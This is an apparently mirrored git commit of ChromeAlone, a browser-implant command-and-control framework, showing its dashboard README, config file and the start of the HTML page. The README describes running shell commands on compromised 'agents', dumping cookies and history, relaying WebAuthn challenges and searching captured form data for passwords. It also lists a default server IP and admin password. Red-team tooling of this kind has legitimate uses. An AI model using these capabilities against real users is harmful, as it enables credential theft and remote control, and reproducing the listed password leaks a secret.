mirror of
https://github.com/praetorian-inc/ChromeAlone
synced 2026-06-06 16:34:31 +00:00
Initial Commit
This commit is contained in:
+154
@@ -0,0 +1,154 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
.pnpm-debug.log*
|
||||
|
||||
# Diagnostic reports (https://nodejs.org/api/report.html)
|
||||
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
|
||||
|
||||
# Runtime data
|
||||
pids
|
||||
*.pid
|
||||
*.seed
|
||||
*.pid.lock
|
||||
|
||||
# Directory for instrumented libs generated by jscoverage/JSCover
|
||||
lib-cov
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
coverage
|
||||
*.lcov
|
||||
|
||||
# nyc test coverage
|
||||
.nyc_output
|
||||
|
||||
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
|
||||
.grunt
|
||||
|
||||
# Bower dependency directory (https://bower.io/)
|
||||
bower_components
|
||||
|
||||
# node-waf configuration
|
||||
.lock-wscript
|
||||
|
||||
# Compiled binary addons (https://nodejs.org/api/addons.html)
|
||||
build/Release
|
||||
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# Snowpack dependency directory (https://snowpack.dev/)
|
||||
web_modules/
|
||||
|
||||
# TypeScript cache
|
||||
*.tsbuildinfo
|
||||
|
||||
# Optional npm cache directory
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
.eslintcache
|
||||
|
||||
# Optional stylelint cache
|
||||
.stylelintcache
|
||||
|
||||
# Microbundle cache
|
||||
.rpt2_cache/
|
||||
.rts2_cache_cjs/
|
||||
.rts2_cache_es/
|
||||
.rts2_cache_umd/
|
||||
|
||||
# Optional REPL history
|
||||
.node_repl_history
|
||||
|
||||
# Output of 'npm pack'
|
||||
*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
.yarn-integrity
|
||||
|
||||
# dotenv environment variable files
|
||||
.env
|
||||
.env.development.local
|
||||
.env.test.local
|
||||
.env.production.local
|
||||
.env.local
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
.cache
|
||||
.parcel-cache
|
||||
|
||||
# Next.js build output
|
||||
.next
|
||||
out
|
||||
|
||||
# Nuxt.js build / generate output
|
||||
.nuxt
|
||||
dist
|
||||
|
||||
# Gatsby files
|
||||
.cache/
|
||||
# Comment in the public line in if your project uses Gatsby and not Next.js
|
||||
# https://nextjs.org/blog/next-9-1#public-directory-support
|
||||
# public
|
||||
|
||||
# vuepress build output
|
||||
.vuepress/dist
|
||||
|
||||
# vuepress v2.x temp and cache directory
|
||||
.temp
|
||||
.cache
|
||||
|
||||
# Docusaurus cache and generated files
|
||||
.docusaurus
|
||||
|
||||
# Serverless directories
|
||||
.serverless/
|
||||
|
||||
# FuseBox cache
|
||||
.fusebox/
|
||||
|
||||
# DynamoDB Local files
|
||||
.dynamodb/
|
||||
|
||||
# TernJS port file
|
||||
.tern-port
|
||||
|
||||
# Stores VSCode versions used for testing VSCode extensions
|
||||
.vscode-test
|
||||
|
||||
# yarn v2
|
||||
.yarn/cache
|
||||
.yarn/unplugged
|
||||
.yarn/build-state.yml
|
||||
.yarn/install-state.gz
|
||||
.pnp.*
|
||||
|
||||
cert.pem
|
||||
package-lock.json
|
||||
private.key
|
||||
|
||||
output/*
|
||||
|
||||
.DS_Store
|
||||
__pycache__
|
||||
node_modules/
|
||||
trash/
|
||||
obj/
|
||||
DOORKNOB/ExtensionSideloader/python
|
||||
DOORKNOB/ExtensionSideLoader/powershell/test
|
||||
.env
|
||||
extension_sideloader.ps1
|
||||
iwa_sideloader.ps1
|
||||
relay-proxy-deploy/
|
||||
BATTLEPLAN/test
|
||||
PAINTBUCKET/FidoBinaries
|
||||
PAINTBUCKET/WebAuthnProxy-Option1
|
||||
DOORKNOB/IWASideloader/HiddenDesktopNative/dist/*
|
||||
DOORKNOB/IWASideloader/RegHelper/dist/*
|
||||
DOORKNOB/IWASideloader/HiddenDesktopNative/dist/*
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.2 MiB |
Executable
+160
@@ -0,0 +1,160 @@
|
||||
# ChromeAlone Web Frontend
|
||||
|
||||
A web-based dashboard for interacting with the ChromeAlone relay server endpoints.
|
||||
|
||||
## Features
|
||||
|
||||
- **Agent Management**: View all connected agents with real-time status updates
|
||||
- **Quick Commands**: Predefined buttons for common operations (ls, shell, cookies, history, webauthn)
|
||||
- **Command Execution**: Send commands to specific agents with JSON payloads
|
||||
- **Real-time Task Events**: Live notifications for task queuing and completion via Server-Sent Events
|
||||
- **Task History**: Persistent task tracking with results stored in localStorage (survives page refreshes)
|
||||
- **Captured Data Monitoring**: Real-time display of unprompted data captured from agents (form submissions, etc.)
|
||||
- **Interactive Shell Terminal**: Terminal-style interface for executing shell commands with command history and real-time output
|
||||
- **Tabbed Interface**: Separate tabs for task history, captured data, file browser, and interactive shell
|
||||
- **Task Tracking**: Monitor task execution status and results
|
||||
- **Auto-refresh**: Automatic agent list updates every 10 seconds
|
||||
- **Persistent Configuration**: Settings saved to browser localStorage
|
||||
|
||||
## Available Commands
|
||||
|
||||
### Quick Commands
|
||||
The webapp includes predefined quick command buttons for common operations:
|
||||
|
||||
- **📁 List Directory (ls)** - Lists files and directories
|
||||
- **💻 Shell Command (whoami)** - Executes shell commands
|
||||
- **🍪 Dump Cookies** - Extracts browser cookies
|
||||
- **📜 Dump History** - Extracts browser history
|
||||
- **🔐 WebAuthn Challenge** - Handles WebAuthn authentication requests
|
||||
|
||||
### Command Details
|
||||
|
||||
#### 1. List Directory (`ls`)
|
||||
```
|
||||
Command: "ls"
|
||||
Payload: {}
|
||||
```
|
||||
|
||||
#### 2. Shell Command (`shell`)
|
||||
```
|
||||
Command: "shell"
|
||||
Payload: "whoami|"
|
||||
```
|
||||
Shell commands use a special format where the command and arguments are separated by a `|` character:
|
||||
- `"whoami|"` - Run whoami with no arguments
|
||||
- `"ipconfig|/all"` - Run ipconfig with /all argument
|
||||
- `"dir|C:\\"` - Run dir command on C:\ drive
|
||||
- `"ps|aux"` - Run ps with aux arguments (Linux/Mac)
|
||||
|
||||
The webapp provides separate fields for the shell command and arguments for easier input.
|
||||
|
||||
**Note**: Shell command results are returned base64-encoded by the server, but the webapp automatically decodes them for display in both the task history and task response sections.
|
||||
|
||||
#### 3. Dump Cookies (`cookies`)
|
||||
```
|
||||
Command: "cookies"
|
||||
Payload: {}
|
||||
```
|
||||
|
||||
#### 4. Dump History (`history`)
|
||||
```
|
||||
Command: "history"
|
||||
Payload: {}
|
||||
```
|
||||
|
||||
#### 5. WebAuthn (`webauthn`)
|
||||
```
|
||||
Command: "webauthn"
|
||||
Payload: "{\"domain\": \"example.com\", \"request\": \"eyJwdWJsaWNLZXkiOnsic...\"}"
|
||||
```
|
||||
The `request` field should contain a base64-encoded WebAuthn challenge.
|
||||
|
||||
**Important:** The payload field expects a **JSON string**, not a JSON object. For simple commands like `ls`, `cookies`, and `history`, use `{}`. For commands that need parameters like `shell` and `webauthn`, use escaped JSON strings.
|
||||
|
||||
## Tabbed Interface
|
||||
|
||||
The dashboard features a tabbed interface with four main sections:
|
||||
|
||||
### Task History Tab
|
||||
- Displays all executed commands and their results
|
||||
- Filter by agent IP address
|
||||
- Shows task status (pending, completed, failed)
|
||||
- Displays command payloads and results
|
||||
- Clear all task history
|
||||
|
||||
### Captured Data Tab
|
||||
- Displays data automatically captured from agents (form submissions, etc.)
|
||||
- **Filter by Agent IP**: Shows only data from specific agents
|
||||
- **Filter by Content**: Search for specific keywords in captured data (e.g., "password", "username", "email")
|
||||
- **Filter by Data Type**: Filter by the type of captured data
|
||||
- Clear captured data independently from task history
|
||||
|
||||
Content filtering is particularly useful for security monitoring - you can quickly find captured credentials or sensitive information by searching for keywords like "password", "username", "email", "ssn", etc.
|
||||
|
||||
### File Browser Tab
|
||||
- Browse files and directories on remote agents using `ls` commands
|
||||
- Navigate directories with clickable folder entries and breadcrumb navigation
|
||||
- "Traverse up" button for parent directory navigation
|
||||
- Agent selection and starting path configuration
|
||||
|
||||
### Interactive Shell Tab
|
||||
- **Terminal-style interface** simulating a command-line terminal
|
||||
- **Command History Navigation**: Use up/down arrow keys to navigate through previously executed commands
|
||||
- **Real-time Output**: Command results appear directly in the terminal as they complete
|
||||
- **ASCII Spinner**: Visual indicator while commands are executing
|
||||
- **Agent Selection**: Choose which agent to connect to for shell commands
|
||||
- **Quick Command Integration**: Terminal-specific quick command buttons for instant execution
|
||||
- **Auto-scroll**: Terminal automatically scrolls to show latest output
|
||||
- **Clear Terminal**: Reset terminal display while preserving command history
|
||||
|
||||
The Interactive Shell provides a familiar terminal experience for executing shell commands, complete with command history, real-time feedback, and visual execution indicators.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Open `index.html` in your web browser
|
||||
2. Configure server settings (host, port, credentials)
|
||||
3. Use the dashboard to:
|
||||
- View connected agents
|
||||
- Execute quick commands or custom commands
|
||||
- Monitor task status
|
||||
- View task history with filtering by agent IP in the "Task History" tab
|
||||
- View captured data with content and type filtering in the "Captured Data" tab
|
||||
- Browse files and directories in the "File Browser" tab
|
||||
- Use the "Interactive Shell" tab for terminal-style command execution
|
||||
- Clear task history or captured data independently
|
||||
|
||||
## Server Endpoints
|
||||
|
||||
The frontend interacts with these relay server endpoints:
|
||||
|
||||
- `GET /info` - Agent information and status
|
||||
- `POST /command` - Execute commands on agents
|
||||
- `GET /task/:taskId` - Check task execution status
|
||||
- `GET /events` - Server-Sent Events stream for real-time task notifications
|
||||
|
||||
## Configuration
|
||||
|
||||
The application loads default settings from `config.js`. This JavaScript-based approach avoids CORS issues when loading files locally and centralizes all configuration for easy customization.
|
||||
|
||||
### Default Configuration
|
||||
- **Host**: 18.223.36.246
|
||||
- **Port**: 1080
|
||||
- **Username**: admin
|
||||
- **Password**: wpMtNeiMla3orv1nD62xQ9Rjn6Be/HaLehZHeQPyevc=
|
||||
|
||||
### Customization
|
||||
To customize default settings:
|
||||
1. Edit `config.js` with your preferred values
|
||||
2. The application will load these as defaults
|
||||
3. Users can still override settings in the UI (saved to localStorage)
|
||||
|
||||
See `CONFIG.md` for detailed configuration documentation.
|
||||
|
||||
## Keyboard Shortcuts
|
||||
|
||||
- `Ctrl+R` - Refresh agent list
|
||||
- `Ctrl+Enter` - Execute command (when in command or payload field)
|
||||
|
||||
## Security Note
|
||||
|
||||
This frontend uses Basic Authentication to communicate with the relay server. Ensure you're using HTTPS in production environments.
|
||||
Executable
+2004
File diff suppressed because it is too large
Load Diff
Executable
+22
@@ -0,0 +1,22 @@
|
||||
// ChromeAlone Web Frontend Configuration
|
||||
// This file contains all default configuration values
|
||||
// Modify these values to customize the application for your environment
|
||||
|
||||
window.ChromeAloneConfig = {
|
||||
server: {
|
||||
defaultHost: "1.2.3.4",
|
||||
defaultPort: "1080"
|
||||
},
|
||||
auth: {
|
||||
defaultUsername: "admin",
|
||||
defaultPassword: "thiswillbechanged"
|
||||
},
|
||||
fileBrowser: {
|
||||
defaultStartPath: "c:\\"
|
||||
},
|
||||
ui: {
|
||||
autoRefreshInterval: 10000,
|
||||
taskHistoryLimit: 100,
|
||||
capturedDataLimit: 100
|
||||
}
|
||||
};
|
||||
Executable
+930
@@ -0,0 +1,930 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>ChromeAlone Server Dashboard</title>
|
||||
<style>
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
min-height: 100vh;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
background: white;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 10px 30px rgba(0,0,0,0.1);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.header {
|
||||
background: linear-gradient(135deg, #2c3e50, #34495e);
|
||||
color: white;
|
||||
padding: 30px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
font-size: 2.5em;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.header p {
|
||||
opacity: 0.8;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
.content {
|
||||
padding: 30px;
|
||||
}
|
||||
|
||||
.section {
|
||||
margin-bottom: 30px;
|
||||
background: #f8f9fa;
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.section h2 {
|
||||
color: #2c3e50;
|
||||
margin-bottom: 15px;
|
||||
font-size: 1.5em;
|
||||
border-bottom: 2px solid #3498db;
|
||||
padding-bottom: 5px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
font-weight: 600;
|
||||
color: #34495e;
|
||||
}
|
||||
|
||||
input, textarea, select {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
transition: border-color 0.3s;
|
||||
}
|
||||
|
||||
input:focus, textarea:focus, select:focus {
|
||||
outline: none;
|
||||
border-color: #3498db;
|
||||
box-shadow: 0 0 5px rgba(52, 152, 219, 0.3);
|
||||
}
|
||||
|
||||
button {
|
||||
background: linear-gradient(135deg, #3498db, #2980b9);
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 12px 25px;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(52, 152, 219, 0.4);
|
||||
}
|
||||
|
||||
button:active {
|
||||
transform: translateY(0);
|
||||
}
|
||||
|
||||
.status-indicator {
|
||||
display: inline-block;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
border-radius: 50%;
|
||||
margin-right: 8px;
|
||||
}
|
||||
|
||||
.status-online { background-color: #27ae60; }
|
||||
.status-offline { background-color: #e74c3c; }
|
||||
|
||||
.response-area {
|
||||
background: #2c3e50;
|
||||
color: #ecf0f1;
|
||||
padding: 15px;
|
||||
border-radius: 5px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 13px;
|
||||
max-height: 300px;
|
||||
overflow-y: auto;
|
||||
white-space: pre-wrap;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
.agent-card {
|
||||
background: white;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 8px;
|
||||
padding: 15px;
|
||||
margin: 10px 0;
|
||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||
}
|
||||
|
||||
.agent-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.agent-id {
|
||||
font-family: monospace;
|
||||
background: #ecf0f1;
|
||||
padding: 4px 8px;
|
||||
border-radius: 4px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.loading {
|
||||
display: inline-block;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border: 3px solid #f3f3f3;
|
||||
border-top: 3px solid #3498db;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.hidden {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.error {
|
||||
background: #e74c3c;
|
||||
color: white;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
margin: 10px 0;
|
||||
}
|
||||
|
||||
.success {
|
||||
background: #27ae60;
|
||||
color: white;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
margin: 10px 0;
|
||||
}
|
||||
|
||||
.quick-commands {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
||||
gap: 10px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.quick-cmd {
|
||||
background: linear-gradient(135deg, #27ae60, #2ecc71);
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 15px 20px;
|
||||
border-radius: 8px;
|
||||
cursor: pointer;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
transition: all 0.3s ease;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.quick-cmd:hover {
|
||||
transform: translateY(-3px);
|
||||
box-shadow: 0 8px 25px rgba(46, 204, 113, 0.4);
|
||||
}
|
||||
|
||||
.quick-cmd:active {
|
||||
transform: translateY(0);
|
||||
}
|
||||
|
||||
.quick-cmd:disabled {
|
||||
background: #95a5a6;
|
||||
cursor: not-allowed;
|
||||
transform: none;
|
||||
}
|
||||
|
||||
.task-history-item {
|
||||
background: white;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 8px;
|
||||
padding: 15px;
|
||||
margin: 10px 0;
|
||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||
}
|
||||
|
||||
.task-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 10px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.task-id {
|
||||
font-family: monospace;
|
||||
background: #ecf0f1;
|
||||
padding: 4px 8px;
|
||||
border-radius: 4px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.task-status {
|
||||
padding: 4px 12px;
|
||||
border-radius: 15px;
|
||||
font-size: 12px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.status-pending {
|
||||
background: #f39c12;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.status-completed {
|
||||
background: #27ae60;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.status-failed {
|
||||
background: #e74c3c;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.task-details {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
|
||||
gap: 10px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.task-result {
|
||||
background: #2c3e50;
|
||||
color: #ecf0f1;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 12px;
|
||||
max-height: 200px;
|
||||
overflow-y: auto;
|
||||
white-space: pre-wrap;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
.no-history {
|
||||
text-align: center;
|
||||
color: #7f8c8d;
|
||||
font-style: italic;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.tab-nav {
|
||||
display: flex;
|
||||
border-bottom: 2px solid #ecf0f1;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.tab-btn {
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 12px 20px;
|
||||
cursor: pointer;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
color: #7f8c8d;
|
||||
border-bottom: 3px solid transparent;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.tab-btn:hover {
|
||||
color: #3498db;
|
||||
background: #f8f9fa;
|
||||
}
|
||||
|
||||
.tab-btn.active {
|
||||
color: #3498db;
|
||||
border-bottom-color: #3498db;
|
||||
}
|
||||
|
||||
.tab-content {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.tab-content.active {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.tab-controls {
|
||||
background: #f8f9fa;
|
||||
padding: 15px;
|
||||
border-radius: 8px;
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 15px;
|
||||
align-items: flex-end;
|
||||
}
|
||||
|
||||
.tab-controls .form-group {
|
||||
flex: 1;
|
||||
min-width: 200px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.tab-controls button {
|
||||
background: linear-gradient(135deg, #e74c3c, #c0392b);
|
||||
white-space: nowrap;
|
||||
flex-shrink: 0;
|
||||
align-self: flex-end;
|
||||
}
|
||||
|
||||
.tab-controls button:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(231, 76, 60, 0.4);
|
||||
}
|
||||
|
||||
.unread-badge {
|
||||
background: #e74c3c;
|
||||
color: white;
|
||||
border-radius: 50%;
|
||||
padding: 2px 6px;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
margin-left: 8px;
|
||||
min-width: 18px;
|
||||
text-align: center;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.captured-item {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.captured-item.unread {
|
||||
border-left: 4px solid #e74c3c;
|
||||
background: #fdf2f2;
|
||||
}
|
||||
|
||||
.captured-item.unread::before {
|
||||
content: "NEW";
|
||||
position: absolute;
|
||||
top: 45px;
|
||||
right: 10px;
|
||||
background: #e74c3c;
|
||||
color: white;
|
||||
padding: 2px 8px;
|
||||
border-radius: 3px;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.mark-read-btn {
|
||||
background: linear-gradient(135deg, #27ae60, #2ecc71);
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 12px;
|
||||
margin-top: 10px;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.mark-read-btn:hover {
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 3px 10px rgba(39, 174, 96, 0.4);
|
||||
}
|
||||
|
||||
#markAllAsRead {
|
||||
background: linear-gradient(135deg, #3498db, #2980b9);
|
||||
}
|
||||
|
||||
#markAllAsRead:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(52, 152, 219, 0.4);
|
||||
}
|
||||
|
||||
.browser-breadcrumb {
|
||||
background: #f8f9fa;
|
||||
padding: 10px 15px;
|
||||
border-radius: 5px;
|
||||
margin-bottom: 15px;
|
||||
font-family: monospace;
|
||||
font-size: 14px;
|
||||
border: 1px solid #ddd;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.browser-up-btn {
|
||||
background: linear-gradient(135deg, #95a5a6, #7f8c8d);
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 12px;
|
||||
font-weight: 600;
|
||||
transition: all 0.3s ease;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.browser-up-btn:hover {
|
||||
background: linear-gradient(135deg, #7f8c8d, #6c7b7d);
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 3px 8px rgba(127, 140, 141, 0.4);
|
||||
}
|
||||
|
||||
.browser-up-btn:active {
|
||||
transform: translateY(0);
|
||||
}
|
||||
|
||||
#browserPathDisplay {
|
||||
flex: 1;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.browser-content {
|
||||
min-height: 300px;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 5px;
|
||||
background: white;
|
||||
}
|
||||
|
||||
.browser-placeholder {
|
||||
text-align: center;
|
||||
color: #7f8c8d;
|
||||
font-style: italic;
|
||||
padding: 50px 20px;
|
||||
}
|
||||
|
||||
.browser-item {
|
||||
display: grid;
|
||||
grid-template-columns: 30px 1fr 120px 150px;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
padding: 10px 15px;
|
||||
border-bottom: 1px solid #ecf0f1;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.2s;
|
||||
}
|
||||
|
||||
.browser-item:hover {
|
||||
background-color: #f8f9fa;
|
||||
}
|
||||
|
||||
.browser-item:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.browser-item.folder {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.browser-item.file {
|
||||
cursor: default;
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
.browser-icon {
|
||||
font-size: 16px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.browser-name {
|
||||
font-family: monospace;
|
||||
font-size: 14px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.browser-size {
|
||||
font-family: monospace;
|
||||
font-size: 12px;
|
||||
color: #7f8c8d;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.browser-date {
|
||||
font-family: monospace;
|
||||
font-size: 12px;
|
||||
color: #7f8c8d;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.browser-header {
|
||||
display: grid;
|
||||
grid-template-columns: 30px 1fr 120px 150px;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
padding: 10px 15px;
|
||||
background-color: #f8f9fa;
|
||||
border-bottom: 2px solid #dee2e6;
|
||||
font-weight: bold;
|
||||
color: #495057;
|
||||
}
|
||||
|
||||
.browser-header .browser-name,
|
||||
.browser-header .browser-size,
|
||||
.browser-header .browser-date {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.browser-header .browser-size,
|
||||
.browser-header .browser-date {
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.browser-loading {
|
||||
text-align: center;
|
||||
padding: 30px;
|
||||
color: #7f8c8d;
|
||||
}
|
||||
|
||||
.browser-error {
|
||||
text-align: center;
|
||||
padding: 30px;
|
||||
color: #e74c3c;
|
||||
background: #fdf2f2;
|
||||
border-radius: 5px;
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
/* Interactive Shell Styles */
|
||||
.shell-terminal {
|
||||
background: #1e1e1e;
|
||||
color: #00ff00;
|
||||
border-radius: 8px;
|
||||
min-height: 400px;
|
||||
max-height: 600px;
|
||||
overflow-y: auto;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
padding: 15px;
|
||||
border: 2px solid #333;
|
||||
}
|
||||
|
||||
.shell-output {
|
||||
margin-bottom: 15px;
|
||||
min-height: 300px;
|
||||
}
|
||||
|
||||
.shell-welcome {
|
||||
color: #888;
|
||||
margin-bottom: 10px;
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.shell-line {
|
||||
margin: 2px 0;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
.shell-command {
|
||||
color: #00ff00;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.shell-result {
|
||||
color: #ffffff;
|
||||
white-space: pre-wrap;
|
||||
margin-bottom: 10px;
|
||||
padding-left: 4px;
|
||||
}
|
||||
|
||||
.shell-error {
|
||||
color: #ff6b6b;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.shell-info {
|
||||
color: #888;
|
||||
font-style: italic;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.shell-input-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
position: sticky;
|
||||
bottom: 0;
|
||||
background: #1e1e1e;
|
||||
padding-top: 10px;
|
||||
}
|
||||
|
||||
.shell-prompt {
|
||||
color: #00ff00;
|
||||
font-weight: bold;
|
||||
margin-right: 8px;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.shell-input {
|
||||
flex: 1;
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: #00ff00;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
outline: none;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.shell-input:disabled {
|
||||
color: #666;
|
||||
}
|
||||
|
||||
.shell-input::placeholder {
|
||||
color: #666;
|
||||
}
|
||||
|
||||
.shell-spinner {
|
||||
color: #ffff00;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.shell-spinner::after {
|
||||
content: '|';
|
||||
animation: shell-spin-chars 0.5s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes shell-spin-chars {
|
||||
0% { content: '|'; }
|
||||
25% { content: '/'; }
|
||||
50% { content: '-'; }
|
||||
75% { content: '\\'; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="header">
|
||||
<h1>ChromeAlone Server Dashboard</h1>
|
||||
<p>Monitor agents and execute commands on your relay server</p>
|
||||
<div id="connectionStatus" style="margin-top: 10px; font-size: 14px; opacity: 0.8;">
|
||||
<span id="sseStatus">🔄 Connecting to events...</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="content">
|
||||
<!-- Server Configuration -->
|
||||
<div class="section">
|
||||
<h2>Server Configuration</h2>
|
||||
<div class="grid">
|
||||
<div class="form-group">
|
||||
<label for="serverHost">Server Host:</label>
|
||||
<input type="text" id="serverHost" value="" placeholder="Server IP or hostname">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="serverPort">Server Port:</label>
|
||||
